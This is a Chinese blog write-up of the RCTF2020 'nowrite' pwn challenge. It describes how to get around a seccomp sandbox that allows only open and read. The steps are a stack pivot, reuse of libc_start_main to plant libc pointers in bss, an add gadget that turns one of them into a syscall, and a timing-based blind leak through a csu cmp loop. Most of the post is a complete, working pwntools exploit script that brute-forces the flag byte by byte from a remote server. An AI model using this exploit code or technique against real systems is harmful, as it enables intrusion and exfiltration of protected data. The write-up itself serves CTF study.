RCTF2020_nowrite(libc_start_main的妙用+盲注)

161 篇文章 9 订阅
161 篇文章 9 订阅

RCTF2020_nowrite(libc_start_main的妙用+盲注)

首先,检查一下程序的保护机制

检测一下沙箱,发现仅能进行open、read、exit操作,write操作都不行。

然后,我们用IDA分析一下,是一个及其简短的栈溢出程序

程序中没有输出,并且write也禁用了,也没有open函数,execve也禁用了,FULL RELRO也不能进行ret2dl,那么本题只能进行盲注,我们还需要构造出一个open系统调用。但是几乎没有可用的地方可以给我们构造。

找到一条有用的gadgets,如果在bss段上有一个libc某指针,通过这个gadget可以让其指向syscall,这样我们就可以构造open系统调用了。

但是bss段上没有这样的指针,如果有stdout,那么我们可以利用,但是这里没有。由此,想到了libc_start_main。

我们可以先将栈迁移到bss段上,然后调用libc_start_main重启某函数,这样,在bss上就会留下很多libc指针,但是我们不能重启main函数了,因为里面有prctl函数,而prctl调用被禁了。由此,我们可以重启read_n函数,继续输出,劫持自己的返回地址,然后就又可以做rop了。

当在bss段上留下libc指针后,我们就通过gadget将其修改为syscall的地址,然后构造open、read将flag读取到内存当中。

接下来,就是盲注了,在csu上,有一个cmp指令非常有用,我们可以令rbp的低1自己保存着flag对应偏移的1字节,rbp其余字节全为0,然后,我们从rop里传入rbx的值为我们猜测的字符,这样cmp比较,成功后会向下执行pop,我们在后面再布置合适的rop,将栈转移到前面进行重复的cmp,相当于是一个死循环;如果比较失败,则jnz会跳到前面,

然后执行call的时候,会崩溃。

如何来让rbp仅保存flag的1字节是重点。

f

 

l

 

a

 

\x00

 

\x00

 

\x00

 

\x00

 

\x00

 

\x00

 

\x00

 

比如,我们要盲注第3个字符,我们读取3个符,将它存储到rbp-0x2的位置,这样,第3个字符就落到了rbp的位置,同理,我们盲注第n个字符时,从文件中读取n个字节,将它存储到rbp-n+1的位置,而rbp始终是这个地址。如何将值保存到rbp里呢,我们使用栈迁移,这样在leave;ret的时候,pop rbp就将数据存储到了rbp里,接下来就会执行后面的rop,因此,我们在bss段上任意找一个地方,保证其8字节为0,以后,我们就将rbp固定在这,然后事先在这后面布置好rop,接下来flag读取存储到这里后,栈迁移过来进行cmp等操作。

#coding:utf8
from pwn import *

elf = ELF('./no_write')
read_n = 0x00000000004006BF
read_got = elf.got['read']
main_addr = 0x00000000004006E8
ret = 0x000000000040070C

pop_rbp = 0x0000000000400588
#pop rdi ; ret
pop_rdi = 0x0000000000400773
#pop rsi ; pop r15 ; ret
pop_rsi = 0x0000000000400771
#pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop = 0x000000000040076b
#pop rbx;pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
csu_pop = 0x000000000040076A
cmp_rbx_rbp = 0x0000000000400761
#leave_ret
leave_ret = 0x000000000040067c
'''
.text:00000000004005B0                 mov     rdx, r15
.text:00000000004005B3                 mov     rsi, r14
.text:00000000004005B6                 mov     edi, r13d
.text:00000000004005B9                 call    qword ptr [r12+rbx*8]
.text:00000000004005BD                 add     rbx, 1
.text:00000000004005C1                 cmp     rbp, rbx
.text:00000000004005C4                 jnz     short loc_4005B0
'''
csu_call = 0x0000000000400750

bss_addr = 0x0000000000601080

call_libc_start_main = 0x0000000000400544

#add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
add_dp_rbp = 0x00000000004005e8

new_stack = bss_addr + 0x600

def blind(index,guess_char):
   #第一步做栈迁移,迁移到bss
   payload = 'a'*0x18 + p64(pop_rdi) + p64(new_stack+0x8) + p64(pop_rsi) + p64(0x00000000006015D0) + p64(0) + p64(read_n)
   payload += p64(pop_rbp) + p64(new_stack) + p64(leave_ret)
   #raw_input()
   sleep(0.2)
   sh.send(payload)
   sleep(0.2)
   #raw_input()
   bss_start = 0x0000000000601078
   #接下来,我们在bss段上,调用read,然后劫持read自己的返回栈
   payload = p64(pop_rdi) + p64(read_n + 0x1C) + p64(call_libc_start_main)
   sh.send(payload)
   #raw_input()
   sleep(0.2)
   #现在,在bss上面,保留了libc指针,通过rop,我们将其值修改为syscall的地址
   target_syscall = 0x00000000006015C0
   #flag文件名字符串的地址
   flag_addr = 0x0000000000601708

   rop = p64(csu_pop)
   rop += p64(0x10000000000000000-0x2) #rbx = -2
   rop += p64(target_syscall + 0x3D) #rbp
   rop += p64(0) #r12
   rop += p64(0) #r13
   rop += p64(0) #r14
   rop += p64(0) #r15
   rop += p64(ret) * 11
   rop += p64(add_dp_rbp)
   #target_syscall后续的rop,是靠当前这个read来输入的
   rop += p64(pop_rdi) + p64(target_syscall + 0x8) + p64(pop_rsi) + p64(0x1000) + p64(0) + p64(read_n)
   #read_n(bss,2)使得rax为2
   rop += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0x2) + p64(0) + p64(read_n)
   rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0)*2
   #栈迁移到那个target_syscall前方,这样我们就可以执行syscall了
   rop += p64(pop_rbp) + p64(target_syscall - 0x8) + p64(leave_ret)
   rop += './flag\x00'
   sh.send(rop)
   sleep(0.2)
   #raw_input()

   rop_addr = 0x00000000006015C8
   flag_addr = rop_addr + 0x200
   #此次用于输入rop2
   rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0x1000) + p64(0) + p64(read_n)
   #盲注逻辑
   rop += p64(csu_pop)
   rop += p64(0) + p64(1)
   rop += p64(read_got)
   #通过将存储flag的地址位置上移动,达到读取下一个字符的作用
   rop += p64(3) + p64(flag_addr-index) + p64(0x1+index)
   rop += p64(csu_call)
   rop += p64(0)
   #rbx = guess_char
   rop += p64(ord(guess_char))
   #rbp
   rop += p64(flag_addr)
   rop += p64(0)*4
   #栈迁移到flag里面,使得rbp保存了flag的1字节数据
   rop += p64(leave_ret)
   sleep(0.2)
   sh.send(rop)
   #raw_input()
   #使得rax为2
   sh.sendline('a')
   #rop2
   #如果盲注成功,栈重新转移回去,一直比较,使得程序一直处于一个循环,达到延时的目的,不成功则直接崩溃
   rop2 = '\x00'*8 + p64(cmp_rbx_rbp) + p64(0)
   #rbx 重新赋值为guess_char
   rop2 += p64(ord(guess_char))
   #rbp重新转到flag_addr处
   rop2 += p64(flag_addr)
   rop2 += p64(0)*4
   #栈重新回去
   rop2 += p64(leave_ret)
   #raw_input()
   sleep(0.2)
   sh.sendline(rop2)

#blind(1,'C')
#flag里面可能出现的字符
possible_char = []
possible_char.append('_')
#字符的顺序可以影响效率,让频率最高的字符放前面
for x in range(0,10):
   possible_char.append(str(x))
for x in range(ord('A'),ord('Z')+1):
   possible_char.append(chr(x))
for x in range(ord('a'),ord('z')+1):
   possible_char.append(chr(x))

possible_char.append('{')
possible_char.append('}')
possible_char.append('\x00')
OK = False
#flag = 'RCTF{C0mpare_f1ag_0ne_bY_oNe}'
flag = ''
index = 0
while not OK:
   print 'guess (',index,') char'
   length = len(flag)
   for guess_char in possible_char:
      global sh
      #sh = process('./no_write')
      sh = remote('129.211.134.166',6000)
      blind(index,guess_char)
      start = time.time()
      sh.can_recv_raw(timeout = 3)
      end = time.time()
      sh.close()
      if end - start > 3:
         if guess_char == '\x00':
            OK = True
         flag += guess_char
         print 'success guess char at(',index,')'
         index+=1
         break;
   print 'flag=',flag
   if length == len(flag):
      OK = True
      print 'ojbk!'

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值